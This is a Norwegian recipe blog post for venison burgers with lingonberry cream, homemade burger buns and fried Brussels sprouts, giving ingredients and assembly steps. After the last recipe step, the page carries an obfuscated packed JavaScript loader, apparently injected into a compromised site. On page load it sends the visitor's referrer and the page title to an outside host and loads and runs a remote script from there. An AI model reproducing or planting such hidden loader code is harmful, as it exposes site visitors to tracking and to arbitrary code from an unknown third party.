Hjorteburger med tyttebærkrem og smørstekt rosenkål

hjorteburger

Nydelig hjorteburger fra Bondens marked, ferdigmat med andre ord :) Så lenge det kommer fra bondens er det ikke så farlig, hjemmelaget er det uansett og fremforalt ingen kunstige tilsetningsstoffer. Det ble herlig søndagsmat med hjemmelagde hamburgerbrød, smørstekt rosenkål og en nydelig tyttebærkrem med rørte tyttebær og rømme. Skal love deg at denne gikk ned på høykant blant ungdommene i hus. Du som ønsker å lage din egen hjorteburger finner oppskirften nedenfor. Livet er herlig med enkel og godt mat! Bilder er hentet fra arkivet.

Ingredienser

Ingredienser

4 pers

4 hjorteburgere

4  hamburgerbrød

1 rød løk

1 pkt rosenkål

1 hjertesalat

4 ss tyttebær

ca 2 dl rømme

salt og pepper

Hjemmelagde hjorteburgere 

500 gram kjøttdeig av hjort

1/2 gul løk finhakket

1 ts Dijonsennep

1 egg

2 ts finhakket frisk timian

salt og pepper

burger

Varm hjorteburgerne på ca 180 grader. Går du for hjemmelaget blander du alle ingrediensene beskrevet over. Klapp sammen fire fine burgere og stek i en jernpanne med olje.

brod

Oppskriften på hjemmelagde hamburgerbrød finner du her.

tyttebar

Bland rørte tyttebær med rømme.

rosenkal

Skjær rosenkålen i strimler og fres av i smør, krydre med salt og hvitpepper.

rød løk

Varm hamburgerbrødene i ovnen og legg lag på lag med salatblader i bunn, rød løk, rosenkål og tyttebærrømme.

lagpalag

Legg hamburgern over salatbeddet og fyll på med ytterliger rød løk, rosenkål og tyttebærkrem. Pynt med friske tyttebær før du legger på topplokket.

hjorteburger2

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Write a comment

Your email address will not be published. Required fields are marked *